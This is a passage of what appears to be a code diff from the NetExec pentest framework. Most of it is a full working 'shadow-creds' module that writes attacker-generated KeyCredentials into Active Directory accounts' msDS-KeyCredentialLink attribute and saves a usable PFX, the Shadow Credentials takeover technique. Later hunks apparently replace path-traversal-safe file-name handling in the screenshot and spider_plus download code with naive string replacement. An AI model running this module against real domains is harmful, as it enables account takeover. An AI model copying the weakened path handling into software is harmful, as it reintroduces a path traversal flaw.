netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID=<guid>
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID=<guid>
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=clear
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=backup JSONFILE=shadow-creds.json
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=revert JSONFILE=shadow-creds.json
"""
self.target = module_options.get("TARGET", "").strip()
self.action = module_options.get("ACTION", "list").lower().strip()
self.device_id = module_options.get("DEVICE_ID")
self.jsonfile = module_options.get("JSONFILE")
if not self.target:
context.log.fail("TARGET is required")
return False
if self.action not in {"list", "add", "info", "remove", "clear", "backup", "revert"}:
context.log.fail("ACTION must be one of: list, add, info, remove, clear, backup, revert")
return False
if self.action in {"info", "remove"} and not self.device_id:
context.log.fail(f"DEVICE_ID is required for ACTION={self.action}")
return False
if self.action == "revert" and not self.jsonfile:
context.log.fail("JSONFILE is required for ACTION=revert")
return False
def on_login(self, context, connection):
self.context = context
self.connection = connection
resp = connection.search(
searchFilter=f"(&(objectClass=user)(sAMAccountName={self.target}))",
attributes=["distinguishedName", "sAMAccountName", "objectClass", "msDS-KeyCredentialLink"],
)
resp_parsed = parse_result_attributes(resp)
if not resp_parsed:
context.log.fail(f"Account '{self.target}' was not found")
return
target_dn = resp_parsed[0]["distinguishedName"]
raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", [])
raw_values = raw_values if isinstance(raw_values, list) else [raw_values]
if self.action == "list":
self.list(self.parse_credentials(raw_values))
elif self.action == "add":
self.add(target_dn, "computer" in resp_parsed[0]["objectClass"])
elif self.action == "info":
self.info(self.parse_credentials(raw_values))
elif self.action == "remove":
self.remove(target_dn, self.parse_credentials(raw_values))
elif self.action == "clear":
self.clear(target_dn, raw_values)
elif self.action == "backup":
self.backup(raw_values)
elif self.action == "revert":
self.revert(target_dn)
def parse_credentials(self, raw_values):
credentials = []
for raw_value in raw_values:
try:
# AD stores each KeyCredential as a textual DN-Binary value.
credentials.append(
(
raw_value,
KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())),
)
)
except Exception as e:
self.context.log.fail(f"Could not parse an existing KeyCredential: {e}")
return credentials
def get_credential(self, credentials):
for raw_value, credential in credentials:
if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id.lower():
return raw_value, credential
self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}")
return None
def list(self, credentials):
if not credentials:
self.context.log.display(f"No KeyCredentials found on {self.target}")
return
self.context.log.success(f"Found {len(credentials)} KeyCredential(s) on {self.target}")
for _, credential in credentials:
self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else '<missing>'} | Creation time: {credential.CreationTime}")
def add(self, target_dn, is_computer):
try:
certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365)
credential = KeyCredential.fromX509Certificate2(
certificate=certificate,
deviceId=Guid(),
owner=target_dn,
currentTime=DateTime(),
isComputerKey=is_computer,
)
device_id = credential.DeviceId.toFormatD().lower()
ldap_value = credential.toDNWithBinary().toString()
output_path = self.write_pfx(certificate, device_id)
except Exception as e:
self.context.log.fail(f"Failed to generate certificate and KeyCredential: {e}")
return
try:
# Add one value instead of replacing the complete multi-valued attribute.
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to add the KeyCredential: {e}")
self.context.log.display(f"Generated PFX retained at {output_path}")
return
self.context.log.success(f"Added KeyCredential with device ID {device_id} to {self.target}")
self.context.log.highlight(f"PFX: {output_path}")
def write_pfx(self, certificate, device_id):
output_dir = Path(NXC_PATH) / "modules" / "shadow-creds"
output_dir.mkdir(parents=True, exist_ok=True)
output_path = output_dir / f"{self.target.rstrip('$')}_{device_id}.pfx"
output_path.write_bytes(
serialize_key_and_certificates(
name=self.target.encode("utf-8"),
key=certificate.key.to_cryptography_key(),
cert=certificate.certificate.to_cryptography(),
cas=None,
encryption_algorithm=NoEncryption(),
)
)
return output_path
def info(self, credentials):
result = self.get_credential(credentials)
if result is None:
return
_, credential = result
self.context.log.success(f"KeyCredential {self.device_id} on {self.target}")
for name, value in {
"Owner": credential.Owner,
"Device ID": credential.DeviceId.toFormatD().lower(),
"Version": hex(credential.Version.value),
"Key ID": credential.Identifier,
"Key hash": credential.KeyHash.hex(),
"Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"),
" Exponent (E)": credential.RawKeyMaterial.exponent,
" Modulus (N)": hex(credential.RawKeyMaterial.modulus),
" Prime 1 (P)": hex(credential.RawKeyMaterial.prime1),
" Prime 2 (Q)": hex(credential.RawKeyMaterial.prime2),
"Usage": credential.Usage,
"Legacy usage": credential.LegacyUsage,
"Source": credential.Source,
"Custom key info": credential.CustomKeyInfo,
**{f" {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()},
"Last logon time": credential.LastLogonTime,
"Creation time": credential.CreationTime,
}.items():
self.context.log.highlight(f"{name:<17} {value}")
def remove(self, target_dn, credentials):
result = self.get_credential(credentials)
if result is None:
return
raw_value, _ = result
try:
# Delete the exact raw value so neighboring credentials remain untouched.
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to remove the KeyCredential: {e}")
return
self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}")
def clear(self, target_dn, raw_values):
if not raw_values:
self.context.log.display(f"No KeyCredentials found on {self.target}")
return
try:
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to clear KeyCredentials: {e}")
return
self.context.log.success(f"Cleared all KeyCredentials from {self.target}")
def backup(self, raw_values):
output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json"
output_path.parent.mkdir(parents=True, exist_ok=True)
output_path.write_text(json.dumps({"keyCredentials": raw_values}, indent=4), encoding="utf-8")
self.context.log.success(f"Backed up {len(raw_values)} KeyCredential(s) from {self.target} to {output_path}")
def revert(self, target_dn):
try:
key_credentials = []
for key_credential in json.loads(Path(self.jsonfile).read_text(encoding="utf-8"))["keyCredentials"]:
if not isinstance(key_credential, (dict, str)):
raise ValueError("keyCredentials entries must be objects or strings")
key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential)
except Exception as e:
self.context.log.fail(f"Failed to read Shadow Credentials backup: {e}")
return
try:
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_REPLACE, key_credentials)]})
except Exception as e:
self.context.log.fail(f"Failed to revert Shadow Credentials: {e}")
return
self.context.log.success(f"Reverted {self.target} to {len(key_credentials)} backed-up KeyCredential(s)")
+4 -8
View File
@@ -1,7 +1,6 @@
import ntpath
import os
from os.path import join, getsize, exists
from pathlib import PurePosixPath
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
@@ -85,12 +84,9 @@ class NXCModule:
continue
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
# replace \\ with underscores and ignore absolute path or path traversal attempts
clean_screenshot_path = "_".join(p for p in PurePosixPath(screenshot_path.replace("\\", "/")).parts if p not in ("..", ".", "/"))
clean_file = "_".join(p for p in PurePosixPath(remote_file_name.replace("\\", "/")).parts if p not in ("..", ".", "/"))
local_file_path = join(user_output_dir, f"{clean_screenshot_path}_{clean_file}")
context.log.debug(f"{local_file_path=}")
sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_")
local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}"
local_file_path = join(user_output_dir, local_file_name)
try:
with open(local_file_path, "wb") as local_file:
@@ -111,7 +107,7 @@ class NXCModule:
context.log.debug(f"Failed to download '{remote_file_path}' for user {folder_name}: {e}")
if total_files_downloaded > 0 and host_output_path:
context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}/")
context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.")
def find_screenshots_folders(self, user_folder_name):
"""
+14 -15
View File
@@ -1,8 +1,7 @@
import json
import errno
from os.path import abspath, join, exists, splitext, getsize
from os.path import abspath, join, split, exists, splitext, getsize, sep
from os import makedirs, remove, stat
from pathlib import Path, PurePosixPath
import time
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
@@ -125,10 +124,6 @@ class SMBSpiderPlus:
self.logger.debug(f'Cannot list files in folder "{subfolder}".')
elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
self.logger.debug(f"The folder {subfolder} does not exist.")
elif "STATUS_STOPPED_ON_SYMLINK" in str(e):
self.logger.debug(f"The folder {subfolder} is a symlink that cannot be followed. Skipping.")
elif "STATUS_NO_SUCH_FILE" in str(e):
self.logger.debug(f"The folder {subfolder} is empty.")
elif self.reconnect():
filelist = self.list_path(share, subfolder)
except NetBIOSTimeout as e:
@@ -172,15 +167,19 @@ class SMBSpiderPlus:
def get_file_save_path(self, remote_file):
r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
Creates a PurePosixPath and replaces UNC parts, then cleans it of any path traversal (see issue #1120)
It converts forward slashes (/) and backslashes (\) in the remote file path to the appropriate path separator for the local file system.
The folder path and filename are then obtained separately.
"""
self.logger.debug(f"Remote file: {remote_file}")
raw_path = PurePosixPath(remote_file._RemoteFile__share, remote_file._RemoteFile__fileName.replace("\\", "/"))
self.logger.debug(f"Raw path: {remote_file}")
clean_parts = [p for p in raw_path.parts if p not in ("..", ".")]
resolved = Path(self.output_folder).joinpath(self.host, *clean_parts)
self.logger.debug(f"Resolved path: {resolved}")
return str(resolved.parent), resolved.name
# Remove the backslash before the remote host part and replace slashes with the appropriate path separator
remote_file_path = str(remote_file)[2:].replace("/", sep).replace("\\", sep)
# Split the path to obtain the folder path and the filename
folder, filename = split(remote_file_path)
# Join the output folder with the folder path to get the final local folder path
folder = join(self.output_folder, folder)
return folder, filename
def spider_shares(self):
"""Enumerates all available shares for the SMB connection, spiders through the readable shares, and saves the metadata of the shares to a JSON file"""
@@ -329,7 +328,7 @@ class SMBSpiderPlus:
download_success = True
except SessionError as e:
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.debug(f"Sharing violation while downloading file: {file_path}")
pass
except Exception as e:
self.logger.fail(f'Failed to download file "{file_path}". Error: {e!s}')
Loaded 100 of 170 files, more files were not shown because too many files have changed in this diff. Show more